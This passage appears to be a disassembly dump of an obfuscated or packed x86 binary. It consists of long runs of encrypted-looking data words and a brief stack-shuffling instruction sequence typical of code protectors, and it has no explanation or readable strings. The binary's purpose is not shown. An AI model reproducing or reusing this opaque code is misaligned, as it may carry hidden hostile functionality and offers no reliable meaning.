4479A672h, 0EFCFA443h, 0D974D11Ch, 560B077Eh, 0C957B3Ah dd 8B78B215h, 62191651h, 98972C13h, 1A0E335Fh, 0D937C50Eh dd 5CC7AF52h, 12BA5C60h, 2E498469h, 64D69356h, 11F5E74Eh dd 88AA2453h, 88F4D170h, 348B8764h, 3F472906h, 0DD33271Ah dd 4ADA9460h, 3CFBA52h, 0A28D8D44h, 8B061B4Eh, 13234D9Dh dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8DC3C356h, 0E906F149h dd 7, 1A79134Ch, 0C702A887h, 1318DD85h, 701406h, 39950100h dd 0C7061301h, 13305585h, 6, 91858B00h, 0FF06130Dh, 1331EDB5h dd 1BA6606h, 8995FF95h, 2306131Dh, 1309E5BDh, 0FF006A06h dd 130DA995h, 0EBC08B06h, 3C9D7E0Ch, 3E6C0B1Eh, 3E7C8A6h dd 1EE9C0h, 0F4B00000h, 50A9h, 6 dup(0) dd 50DE9h, 0C4A9800h, 143A8CAEh, 0A4094B6h, 1B3586ACh dd 0C4895BBh, 5BB07FAEh, 4268460Eh, 604260F2h, 7B5D7DCBh dd 774462EAh, 2A92558h, 1F7216B9h, 70E5C243h, 109DB516h dd 2436BEDFh, 0ADAABB91h, 0B4FF5B8Ah, 45C8109Dh, 0B49BF766h dd 2164109Dh, 6928B597h, 0DDE273D7h, 0EBE08538h, 0E382E3E5h dd 4CDDC3h, 0CDBC0D31h, 283D27Eh, 5EF0D263h, 61EFD3F0h dd 972160F1h, 99B30648h, 1C3686C8h, 2ECB454Dh, 4A1B3184h dd 5999AACBh, 0AD9F32E0h, 0B60A300Dh, 0AEA03294h, 64767E9Fh dd 2A24B6CFh, 0A7A7371Bh, 77167796h, 6EE07258h, 2836BEDFh dd 3C9BAD02h, 0F070EA1Bh, 0D439109Dh, 0DF352DEFh, 965E0C84h dd 0ED65F3D7h, 0F157ECCEh, 2A6478E7h, 0FA4EE191h, 0E963F6DCh dd 4A82958h, 0B121109Eh, 0BA24F418h, 678CA341h, 0B2000000h dd 8B1D6CBDh, 71ED20BFh, 3A109DB5h, 5AABBADBh, 109DB4FEh dd 0D2032473h, 109DB578h, 2F8F1641h, 2B0FAF75h, 7308824Ah dd 416B8B49h, 133A3h, 0BD070000h, 0FC891E6Dh, 3554E56Bh dd 0A706F54h, 783E5AA4h, 0B4064819h, 3887CB9Ah, 5C964918h dd 0E8A333DFh, 2667F654h, 0F0416747h, 76249296h, 553405AAh dd 70BDDB75h, 547655E4h, 9BFA4B01h, 9FAFFF51h, 173D8CCEh dd 99AF0446h, 0D76549C8h, 0A624EA7Bh, 50BA2015h, 9ABA07BBh dd 89C3163Ch, 84296B8h, 65D63039h, 41E86937h, 65D1A3h dd 0BD650000h, 5BB72670h, 24109DB5h, 8DB180E1h, 0AD3E0F3Bh dd 8F1ED465h, 76C3E5C5h, 0FC4B8FDEh, 2B443E91h, 0CD9EE5D1h dd 2D3C5D3Ch, 0B31CA44h, 0A3416B5Dh, 6805h, 70BD5900h dd 0A9E0C7E4h, 0C9F5BABh, 0F8A2FC71h, 2A6B109Dh, 0E0E2814Bh dd 0FCDEFD4Bh, 6D5216Dh, 6F3F6F43h, 2427C60Eh, 0D8651DAEh dd 0BD045E7Ch, 0E0C2E16Dh, 0D31004Eh, 44C594C0h, 0BD4C9B25h dd 109DB55Ch, 13C435D5h, 0A3B2A22Fh, 0B4D531A4h, 7F9E109Dh dd 0D24CC11Eh, 9B109DB4h, 2AEA727Ah, 92A341EAh, 1, 1C6BBDA8h dd 52B382C8h, 93156D6Dh, 7F1EB1BCh, 24C6F1EEh, 3763E8D5h dd 0DE6F616Bh, 8709DF6Eh, 5EEC40F2h, 5D294080h, 161E0F7Eh dd 4ECF168Fh, 0FF8ADBFFh, 4FCE9FAFh, 17AA902Eh, 77D52435h dd 0AF0A8B14h, 75DB6C1Fh, 75C4A5E4h, 3688FF51h, 0E3E87918h dd 6A07ED0Dh, 6E207442h, 18C7E8DDh, 1988E72Fh, 428A4A44h dd 2E7F33C8h, 0D45F3458h, 0D8B97319h, 0C785D8FAh, 88015476h dd 0AA245935h, 730A8B22h, 0A3E27312h, 0FD8B73C2h, 0C983D68Ch dd 53E6CCE9h, 0A967EFF9h, 115AAC84h, 10Ch, 0C8BEA325h dd 0BC377AEBh, 4DD0168Eh, 0C587DAFCh, 0DA72C3E5h, 93F6478Bh dd 0E1F44341h, 700F5A10h, 0A0C14011h, 0EA5FE991h, 7A7A538h dd 0AD6BEDABh, 59555Ah, 0A3E90000h, 9DB503BCh, 14AEDFFCh dd 1D6F624Ch, 4D6A69F8h, 9DB4BE18h, 0BE068790h, 9DB4D34Fh dd 1E9BD590h, 56750D5Ah, 4E025179h, 31ADE0FFh, 0FA909DB5h dd 93F2FA9Bh, 0EF624C17h, 1DEFD20h, 99C88CD9h, 109DB53Dh dd 1F3D8706h, 65DC193Eh, 163CC83Ch, 7E93CEh, 0A32F0000h dd 246C02BEh, 0C1C819A8h, 0B4EF68DAh, 5A3BC49Bh, 0BCFD087Dh dd 0A7E6168Eh, 2B21B496h, 3814A58Bh, 0B4082A29h, 7E46C796h dd 8ABB8C0Fh, 34C5CD0Ah, 81212B7Eh, 8D2A5C85h, 7400B258h dd 9D2F1310h, 0CBEFCCADh, 5B0AD27Ah, 0B02A5B7Ch, 79046F6Bh dd 378ACC14h, 0DE104415h, 4798BA6Dh, 0FD93809h, 0DB0ABEA3h dd 46F6C7Fh, 7A4C548h, 58B230D6h, 86D9010Ah, 0CA1273C2h dd 80DAF81Dh, 9502BEA3h, 0D1567331h, 9DBA1978h, 9DFFEE68h dd 6598B710h, 109DFFE9h, 0AA3253B2h, 459238ADh, 92F31687h dd 1E2E7FC3h, 5479AC0h, 0C5381734h, 0A82B149h, 9AE9F312h dd 40141113h, 9E49C230h, 89262CBCh, 0D00FFA54h, 7A42C3B3h dd 68470558h, 5761F342h, 46065779h, 5EF2D8F7h, 0B43C5DECh dd 2E3F11A2h, 9443B83Ah, 0AA321CAEh, 973715A8h, 1D2C20B1h dd 340h, 0E17B9E00h, 54E571BDh, 0DC6DDF72h, 52E365FAh dd 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh, 9EAF9B2Dh dd 15242ABCh, 12836822h, 2C890000h, 81E58924h, 4C5h, 4ED8300h dd 5C242C87h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 89522414h, 4C281E2h, 81000000h, 4EAh, 24148700h, 243C895Ch dd 2CF96857h, 815F100Ah, 0EEDE1EEFh, 8BFA8909h, 0C483243Ch dd 3C8B5404h, 4C48324h, 22BF5752h, 310CF10Ah, 5F04247Ch dd 8108478Fh, 0A220877h, 3C8B0CF1h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Ah, 0F82D7BE9h dd 53B87AFFh, 3061B53h, 0F0E0FFC5h, 0E72D15Eh, 8D0F8507h dd 0E60B6C2Eh, 642F1326h, 0BE06264Fh, 3D58595Bh, 1717768Eh dd 2E325DC7h, 0D55FB730h, 0B24619D6h, 0E039312Ah, 0EA50B1EFh dd 38532633h, 435C938Fh, 784003A2h, 1D5FAA5Ah, 0B55741BCh dd 0F3212AC5h, 2B3AC5CBh, 0DF6F9419h, 11283305h, 0F540FF67h dd 0C77C5239h, 5229F33Fh, 0D0316A7Ch, 94077B3Fh, 6D1CFB3Dh dd 0B8766418h, 6E5974D8h, 0EB08880Fh, 10h, 3 dup(0) dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 3B01C352h, 1625BD83h, 75000613h dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh dd 17740006h, 2DB85350h, 89000004h, 130D7D85h, 6C9D8D06h dd 0FF0615A6h, 0B585BD3h, 132129B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 836CBE85h dd 606037E4h, 8A18589h, 81660613h, 61EA24D2h, 95BA6661h dd 66C08BE5h, 66909EBAh, 8D8BD68Bh, 6131141h, 0AE9h, 0BE91E400h dd 5B193840h, 83036680h, 840F00F9h, 7Ah, 8B64D38Bh, 2C3Dh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 14E93C94h, 51000000h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 0BB6B4803h, 0BAE3DBFh, 33840FFFh, 0F000000h dd 3F8BF2BFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 43C35141h, 32E1DA65h, 0CA8153C0h, 57353B04h, 80AAF35Ah dd 493583CEh, 6A535041h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 92BFC356h, 8B91E05Fh dd 132329B5h, 0C6F08A06h, 1311E185h, 6A4706h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0EA8A67C3h dd 0B6B3799Ah, 0BA66F92Dh, 958B34ECh, 6133139h, 4E8h, 0D6882C00h dd 50F28BDCh, 50F18B60h, 0F616052h, 5ACA8B31h, 448B6158h dd 8B0424h, 448936B2h, 0B2560424h, 6A585EE6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0B41CC356h, 87E3F30Dh, 48A94F9Bh, 0FE8h, 0DA198900h dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 17DB58Bh, 35E0613h dd 132A15B5h, 0E9B5FF06h, 6A06131Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C98C355h dd 5144239Fh, 0C8F83675h, 1ED19503h, 81660613h, 0F0022EEh dd 68Fh, 9952B00h, 8D06131Ch, 167C3385h, 0BEE28106h, 0FF783707h dd 699501D0h, 8906132Ch, 13226585h, 8D8D3106h, 0F061323h dd 580h, 3904BE00h, 85C6406Ah, 61311E1h, 50006A53h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 2756662Dh, 238DB523h, 4E80613h, 0FC000000h, 0F88986Ah dd 108Bh, 0BE900h, 94870000h, 0B373EB5Ah, 0A59B9510h, 12E8500Bh dd 0A000000h, 0D153FDA9h, 598C97D4h, 8159D758h, 0DC514DE3h dd 5A5E5730h, 424448Bh, 0F525050h, 5A585A31h, 5153008Bh dd 8A0Fh, 5A5A0000h, 4244489h, 5E9h, 94BF1C00h, 6658A9B2h dd 0B5FFD18Bh, 6131EE9h, 2C1D9533h, 958B0613h, 6131A7Dh dd 7C33858Dh, 800F0616h, 0Ch, 6820Fh, 0D6810000h, 3E8A67Ah dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B529A1C3h, 61315CDh, 6890Fh, 958B0000h dd 61325D1h, 3677858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 60F890C3h, 1C0D8529h dd 66600613h, 9458E881h, 896161F5h, 130D0985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 74D8878Ah, 6A206AA1h, 995FFFFh, 3506130Dh, 53504149h dd 22C185C7h, 10613h, 85C70000h, 613240Dh, 0 dd 10918D89h, 8BF80613h, 131D5185h, 810F06h, 64000000h dd 0A3h, 79B52900h, 83061301h, 131F95BDh, 840F0006h, 47h dd 9EC2BA66h, 0E81858Bh, 6A0613h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 8F0B6FC3h, 0D638673Eh dd 9607800h, 1301418Dh, 0C5BD2B06h, 61061322h, 8B66E08Bh dd 80F681D7h, 835C5EE9h, 131129BDh, 850F0006h, 3F0h, 0B58B6052h dd 6130A2Dh, 85C65E61h, 61311E1h, 685A5256h, 69518EF2h dd 28B0Fh, 0D08B0000h, 0ED240481h, 2B4073A1h, 13208595h dd 0E9B5FF06h, 306131Eh, 130DA5B5h, 8B666006h, 0D58D8BDAh dd 6106131Ah, 7C33858Dh, 0B5890616h, 613216Dh, 0B58BD0FFh dd 6132CCDh, 89F58A50h, 0DE82404h, 11000000h, 42EA02B8h dd 469CB89Bh, 6120C96Bh, 5EF3BF0Fh, 1A398D8Dh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0B6E4D4C3h, 4E27B318h, 12E9h, 2B5E1700h, 1AE22958h dd 938873D2h, 0DEA94DABh, 0F077CDBh, 38Ah, 0F3BF0F00h dd 5050B291h, 5810Fh, 22BA0000h, 917B9328h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8AC35646h, 13019D89h dd 46A0613h, 0F60F28Bh, 68Ch, 119D8B00h, 61061315h, 4E8h dd 100000h, 8E800h, 0A8C90000h, 730F2D04h, 52501417h, 6160310Fh dd 505E585Ah, 1372FFBEh, 24448B3Ch, 0F78B6604h, 11E8008Bh dd 0E9000000h, 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah, 4F37C041h dd 0E8F98B60h, 13h, 9D92654Bh, 6290A168h, 1DE411ECh, 20060809h dd 5E3C9784h, 44895E61h, 8C0F0424h, 5, 0D21CECBAh, 85895857h dd 61325F9h, 0DE9h, 0B2687800h, 94FFF415h, 63A8272h, 0B5FFEDC2h dd 6130BB9h, 34899589h, 0D0FF0613h, 4EEE8166h, 0B9BD8B75h dd 6606130Bh, 0B14FCA81h, 0BE3C7F03h, 1375003h, 0F8C781h dd 0B5890000h, 6130E31h, 202447C7h, 8B600000h, 131AEDB5h dd 6BBD8306h, 61B54h, 15E840Fh, 8F0F0000h, 2, 0C783D78Bh dd 0B1B58928h, 0C706132Eh, 696A2E07h, 56006A64h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0CFEECB62h, 0C7FC06F0h, 74610447h, 85890061h, 61323EDh dd 5473858Bh, 41B6061Bh, 6A0C4789h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69CC357h dd 3A71F74Ch, 59958B13h, 6606130Fh, 858BF78Bh, 61B5477h dd 58E0Fh, 66520000h, 895AF78Bh, 958B0847h, 61315F5h, 2BC19531h dd 0C7830613h, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 66D60104h, 8E9D08Bh, 3F000000h dd 0EAEF3437h, 0C7490A8Dh, 6F632E07h, 8985016Eh, 0C7061301h dd 69660447h, 6A0067h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 57F6B4C3h, 0E5A860A9h, 6F858B82h dd 0B6061B54h, 0C47892Dh, 8BF6B70Fh, 1B546B85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 84DEA8B3h, 4789B845h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 557B222h, 0A0A5EE41h dd 20FABA58h, 0B5893F13h, 6130EEDh, 9E18D8Dh, 870F0613h dd 0 dd 50D18A91h, 5E8h, 2B2CF00h, 8B517F2Ch, 915A5AD3h, 0D419523h dd 0B5FF0613h, 6131A39h, 24559589h, 4E80613h, 0 dd 0E9000010h, 8, 0B1329A3Dh, 0AC4E48F0h, 66536050h, 5B18B7B9h dd 5B73BF66h, 24448B61h, 0F78B6604h, 0B8BE008Bh, 891EA6D1h dd 60042444h, 9CBF6653h, 5E85B8Ah, 57000000h, 0FA16E893h dd 0EE42BF66h, 8958615Ah, 132A51B5h, 0B9B5FF06h, 0FF06130Bh dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 9D89E2B3h, 6130789h, 0B8h, 860F00h, 0B000000h dd 4D840FC0h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0BD0FC357h, 0A4A4CB30h dd 1F359D89h, 9E90613h, 5A000000h, 9AB0842Bh, 0A480A937h dd 13A9B5FFh, 0B5310613h, 6131471h, 1D8995FFh, 8D890613h dd 6132BC9h, 9D29C08Bh, 6131DADh, 1625BD83h, 75000613h dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h dd 13311585h, 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh dd 17740006h, 2DB85350h, 89000004h, 13311585h, 859D8D06h dd 0FF0615A6h, 0F585BD3h, 681h, 0A9B58B00h, 6A06130Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 1A28C350h, 184E9C00h, 0D87E9E9Bh, 0C08BC08Bh dd 5E8h, 53FA5300h, 0B58B5564h, 6131311h, 0A984BE58h, 0C081273Dh dd 6717h, 8BDB33F8h, 1325A1BDh, 334FF06h, 3E44E781h, 8B5A5F63h dd 130E69BDh, 0AEF28106h, 81619F62h, 485DDEEAh, 0ED858951h dd 81061321h, 4A2132EAh, 4DBD8973h, 8906131Eh, 8E0F1814h dd 5, 96EE8166h, 66FC608Bh, 8361D78Bh, 0B52901EBh, 613324Dh dd 2B4B4B4Bh, 130DD1BDh, 9CFB8106h, 0FFFFF99h, 1F85h, 0FE900h dd 85E70000h, 95CA4382h, 243FCA0Dh, 0C5EC7629h, 1EE9C2h dd 736D0000h, 2445480Dh, 3850F50h, 66000000h, 0E95FCA8Bh dd 0FFFFFF71h, 883C6772h, 0CB1AF5B2h, 0CE8h, 4F4F9100h dd 1E27839Dh, 10620C9Ch, 5ADE8A8Ah, 1ED19D8Bh, 0C2810613h dd 6187h, 11E9h, 0F7686300h, 91846A1Dh, 46ADB3DEh, 23F5555Ah dd 0C933805Ah, 8E68BB66h, 90A3C8Bh, 1321B99Dh, 67C78106h dd 891DDB5Ah, 1306598Dh, 86F78106h, 29740988h, 131F5185h dd 0DBC78106h, 0E864ECD0h, 0Ah, 0BE553DC4h, 15DAB13Ch dd 800FAC4Ch, 2, 57586160h, 500A048Fh, 5A1DE881h, 0B85E7FFCh dd 7A25C7C6h, 8B03E983h, 13109185h, 0F9814906h, 0FFFF9F18h dd 0FF9A850Fh, 0B589FFFFh, 6130E85h, 60018D8Dh, 8D89061Bh dd 613312Dh, 1BBD8D89h, 0CE90613h, 0D4000000h, 0C7902C4Dh dd 424814C7h, 0C7E3DEC1h, 1318DD85h, 597C06h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 39BBDD5Ch, 6E5E499h, 0C1BF0F3Bh, 158C0Fh, 10E90000h dd 7E000000h, 768BF9D3h, 8C7435AEh, 77173C64h, 0C70BA105h dd 13305585h, 6, 0EDBD8B00h, 0FF061321h, 131139B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7ECC95C3h, 0FFA18EFEh, 131D8995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 4E4FAA0Eh dd 8EE78DC9h, 85892488h, 6131719h, 95FF006Ah, 6130DA9h dd 6EEBC08Bh, 0C7166FE7h, 0B054E63Dh, 91E2D64Ah, 0BF89E84Ch dd 0B85DCA7Bh, 6FAD327Eh, 4DB56F9Ch, 36F52603h, 2A589678h dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 5C48BEC9h, 6CFA22EFh dd 0D826DCFFh, 48E619CDh, 23118594h, 0F476A196h, 7AD9A86h dd 1FE54F87h, 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h dd 40A73ECFh, 0B4D8C74Bh, 0C1D73059h, 0EBE219h, 4A2E9h dd 0ACAA3800h, 0B49A2C0Eh, 0AAA03416h, 0BB95260Ch, 0ACA8351Bh dd 0FB101F0Eh, 0E2C8E66Eh, 80A20052h, 9BBD1D2Bh, 97A4024Ah dd 14C945B8h, 7F9216B9h, 0E16DBDE3h, 93C2E5C2h, 109DB537h dd 72EC9D00h, 3B109DB5h, 0DEC412DAh, 84A3004Ah, 9DB4F551h dd 955FBE10h, 7ED26147h, 69EB7A60h, 7ADA6749h, 9577B5Ch dd 4F99F849h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah, 87F5AAD6h dd 13A38716h, 5F85B13Bh, 46B7D76Ah, 0A8374CCh, 40117095h dd 55B12403h, 1E0A8375h, 95A4AA3Ch, 65AE1574h, 7C9D9B2Dh dd 22B1A32Dh, 0D4823468h, 389AE23Ch, 7796A7A5h, 0A8924716h dd 900A7B17h, 0C90A8373h, 83743A94h, 0B582030Ah, 0B4913150h dd 73E86293h, 6CB10A83h, 2358E147h, 21AB672Bh, 1DBACC15h dd 73F849E8h, 9C755A10h, 9AC7746Bh, 0D99FF41h, 0DDBCF40Eh dd 0FE5CADBCh, 55047021h, 5C1C40B9h, 3E509387h, 1672EC21h dd 0DA3B0470h, 160E88FDh, 0B6D70470h, 1A0F72Eh, 0BD4B0000h dd 8A55E470h, 0F0406245h, 2AB2D362h, 9DB58BDBh, 0ED83AC10h dd 0FABB27DBh, 1E7FCD60h, 972127BCh, 587ACB4Ah, 46674705h dd 29BBD464h, 90F14021h, 25AF992Eh, 0DAAA233h, 875FBB2Ah dd 2728109Eh, 9E875CB6h, 81E02510h, 558CA837h, 40B59231h dd 109E86C6h, 99C60E8Fh, 8F919D64h, 66496E16h, 0F863A6F5h dd 8508656Fh, 0FD2B0126h, 0C14643D9h, 0A19C126Ch, 885031F7h dd 0EB67F5D9h, 6BE9785Ah, 60D9F9DAh, 587A5F75h, 0D8FA4B09h dd 0A7C684h, 7DB00D60h, 18B55B8h, 6CFBDF88h, 95BB726h dd 0E1240A8Bh, 0C3163880h, 0F4ED2989h, 0CE2446CCh, 160F266h dd 7FBE33A2h, 27107Ch, 0D22777F5h, 77F4FC19h, 0B6034716h dd 70C189DBh, 6C537011h, 0A94161D7h, 490B5ADBh, 0F0F899F8h dd 4ADDC5E2h, 0A62E6FFEh, 1E2F25B4h, 1EBDC522h, 0A21A6239h dd 0E81DA6F7h, 4785F6Eh, 2DB7D637h, 9C2B0F30h, 5F9EA5B4h dd 8341B5ADh, 95F4FC9Dh, 4789369h, 0E51AEDD2h, 0CA9BB705h dd 12CB644Bh, 4C4C6A0Bh, 75527115h, 3138E34Ah, 1EA6B530h dd 68C482EFh, 98272B0Ah, 8BEA66F5h, 0E7775BBAh, 13370667h dd 0A308EC6h, 6CC899BBh, 684C4973h, 6F725FCCh, 840048h dd 5644D6Eh, 37A689A6h, 0FE64B7DBh, 285761A4h, 0FE64B7E2h dd 0C3C8FB3h, 0B52827C4h, 0FE64B759h, 4714408Dh, 2708A7C6h dd 64B75CB6h, 0D8E025FEh, 8BFADDFAh, 0FE64B70Fh, 0C011B5D8h dd 945CBD8Ch, 4161F342h, 5FE93E64h, 0BEA3CB95h, 6F7AEBC8h dd 98168EBCh, 1E2F21B2h, 8BCF9EFFh, 90FE4F3Ah, 8AA6015Dh dd 2A4BCA0Ah, 0A8DDFA1Bh, 0A8AA62Eh, 0D7F796F7h, 0D61152EDh dd 44C24BACh, 850A8AA6h, 0EA7B0A9Dh, 0D3B2D362h, 0D676C709h dd 0CD7FD2F8h, 45075A7Ch, 7840EF4h, 67E97A60h, 2B2DB7D6h dd 0F060EF9Ah, 0BC103291h, 0BC18468Eh, 5AAD1BFCh, 2E64h dd 62507700h, 0ADFBB2AFh, 0A34B15DFh, 0C4EBC8BEh, 0B92EB4D6h dd 8ECB158Ah, 8F95B65Fh, 0A6331716h, 1F7E9FAEh, 93B90C4Eh dd 0F1433h, 0BDBA0000h, 6F53E26Eh, 6F506EDEh, 8850F84Bh dd 0E26EBDCEh, 34FDDC5h, 91CE9BB9h, 9DB5065Ch, 6946C710h dd 7E5D8A3Eh, 6E76365Ch, 3FF7E0FFh, 5626C1F0h, 8F2234BCh dd 0EB7D29F7h, 0D5B48F22h, 0AD1E5084h, 11E6D10Eh, 8191F783h dd 33A2AF39h, 109E8FDBh, 7D5A799Ch, 0B79E5952h, 3B8EA489h dd 0A0C14011h, 316DE918h, 0D736109Eh, 680D1F7h, 0A19C1478h dd 725031D8h, 15C67308h, 6C000000h, 0C3E06CBDh, 0B51571E4h dd 0BFDE109Dh, 4194B635h, 9943AB0Bh, 54E571BDh dd 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh dd 1120307Fh, 9EAF9B2Dh, 15242ABCh, 5D545522h, 4C581h dd 0ED830000h, 242C8704h, 75A1685Ch, 1C890000h, 30ED6824h dd 4890000h, 0A2BE5624h, 813ABF55h, 0E11AA9C6h, 0B9513Fh dd 29000000h, 59CE89F1h, 0D0C6C681h, 0F38980BBh, 4EC815Eh dd 89000000h, 4812424h, 424h, 53525800h, 41240481h, 5A019004h dd 441EA81h, 50890190h, 48B5A08h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 97h dd 67A41C37h, 0B86760CEh, 61B647Fh, 0E0FFC503h, 787319D8h dd 7B72FE3Fh, 6AA9B422h, 68CF356Ah, 64642413h, 0F69ED7Fh dd 2B8DBAECh, 54B611Ch, 3B65464Bh, 3C973903h, 5D2C2644h dd 5853B431h, 782BCDE1h, 2EB15C60h, 6AFC2970h, 30C456DFh dd 7DDFBACCh, 1E379588h, 4E3E73A2h, 5AAE439Ch, 10A5DD50h dd 7573260Fh, 3FBA7A7Ch, 2E57567Bh, 26421BD1h, 4B0A0ACh dd 124ABA07h, 7FFE42ACh, 34AC60DDh, 19880Fh, 14E90000h dd 30000000h, 0E943B70Dh, 7BB5155Dh, 575AF808h, 0C3790A1Dh dd 0F869D78h, 0BF0FC1BFh, 0C68166D2h, 8166C1D2h, 0E9093EC6h dd 9, 55199A0Ah, 6EDB60B2h, 45E88129h, 0F7360E4h, 85h dd 0FC18A00h, 0A84h, 72B86000h, 8066A221h, 0F961B1F2h dd 93F28166h, 6E931h, 0BF4F0000h, 26155461h, 2645B960h dd 8B661BB8h, 0C18B61DEh, 0BEDA9DBEh, 0BE929h, 45700000h dd 6E3EE4DCh, 52A7F016h, 58F18170h, 0BF69E233h, 14590DC7h dd 225BB966h, 1AC98166h, 10E909h, 0DD4E0000h, 0E57DE5E5h dd 0DA093F45h, 4259C6FDh, 8B522FE8h, 0D68B5FD8h, 0E3C78166h dd 897BBBF5h, 92B64C26h, 12E952h, 0E6FB0000h, 48D140Ah dd 0F10025F0h, 2CB9053Fh, 4F49135Ch, 668DB358h, 0C981CE8Bh dd 271CA840h, 0FE9h, 0AE1D9300h, 30ABFD2h, 0BA95F9B5h dd 4B1A752Dh, 3BC78166h, 0FE986h, 0F9700000h, 0B3A6CB3Ah dd 0F97D91F5h, 177E178Dh, 2FBB6679h, 10E9FBh, 0CFE30000h dd 9F6B7C9Fh, 82283978h, 442DA3C8h, 860F0CABh, 1, 0F08166F8h dd 12B6D6BAh, 21F08166h, 92D18152h, 0FC388909h, 0BE8h dd 0B2DDDD00h, 82AB5278h, 3BF1C4F9h, 9E9h, 8ABF5200h, 0D3259552h dd 815BB92Eh, 2015F6F0h, 13E954h, 0F9F60000h, 0C848EA90h dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0E9BAB587h, 9, 7D9B0D4Ch dd 3CDCA8Bh, 0D88166A6h, 8166C251h, 0E8BD38C7h, 0Ah, 97E517CAh dd 2DFAEDB7h, 0DE883B5h, 33000000h, 84110C41h, 0D5002936h dd 52ECF534h, 0EFF68166h, 8B5E5999h, 6660F9CBh, 61DAF0BAh dd 66606FB4h, 1B8FE8Bh, 6135903Eh, 0DE950h, 28780000h dd 2E11D6DBh, 0B6E6AFAFh, 5ECC923Ah, 18A0Fh, 80F50000h dd 7E943C0h, 0C4000000h, 0E004FD60h, 6E9DBCCh, 0B5000000h dd 15A525EFh, 0C18B668Dh, 0DE8h, 0A41F1E00h, 0C346C478h dd 0D326B9DFh, 0D78B89A1h, 0D18B665Fh, 9858C4BBh, 19820F5Bh dd 0E9000000h, 14h, 63D7420Eh, 0EA206C95h, 51A88CF8h, 0B0EB8191h dd 11CCF69Bh, 0F38B6660h, 495D3DBAh, 8A60617Bh, 0FF560FEh dd 8Dh, 0F616100h, 387h, 5EF95700h, 6E9h, 66F06F00h, 816B92F3h dd 57FCCFD0h, 208C0F6Bh, 0E8000000h, 14h, 75514423h, 19C8F836h dd 0DC72568Bh, 0F96B162Bh, 63526033h, 850Fh, 805A0000h dd 0B70FB4D9h, 0F0DB3CFh, 0B83h, 5820F00h, 0BB000000h dd 21F32D7Bh, 0CFD18166h, 6ABA6650h, 0F65B360h, 288h, 0F97B100h dd 0EE9DEB7h, 0C6000000h, 0F2D1492Dh, 9E04834Ch, 0AE9DD091h dd 0AEE98052h, 7E8h, 396DE700h, 887CCE4Bh, 5EC08166h, 860F5F00h dd 0 dd 0B4F18BF9h, 0F8BF0FC8h, 10E950F8h, 20000000h, 11FA7933h dd 26A47D4Ah, 82953190h, 5A1391B3h, 58F0Fh, 81660000h dd 601C87C3h, 6850Fh, 8C0F0000h, 0 dd 38B0Fh, 0B70F0000h, 0BE6661FBh, 0CF81A0E5h, 0B55153Fh dd 18E0Fh, 66FC0000h, 0CB88F081h, 96EE8166h, 0C880FBEh dd 0F000000h, 682h, 810F00h, 0E9000000h, 0Ah, 0B316436Eh dd 0D0494A65h, 0D6817AE5h, 60DF632h, 0FE9h, 